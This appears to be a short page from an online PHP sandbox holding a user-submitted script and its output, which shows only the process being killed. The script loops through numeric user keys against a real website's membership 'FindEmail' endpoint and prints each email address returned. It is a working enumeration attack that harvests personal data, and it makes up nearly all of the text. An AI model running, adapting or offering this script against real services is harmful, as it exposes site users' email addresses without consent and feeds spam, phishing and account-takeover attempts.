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run code in 150+ php & hhvm versions
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<?php sleep(50); for($i = 1; $i < 50; $i++) { $email = file_get_contents('http://www.redbana.com/MemberShip/SearchIDPWValidation.aspx?Method=FindEmail&UserKey='.$i); echo $email.'<br>'; } ?>
Output for 5.3.9 - 5.4.32

Process exited with code 137.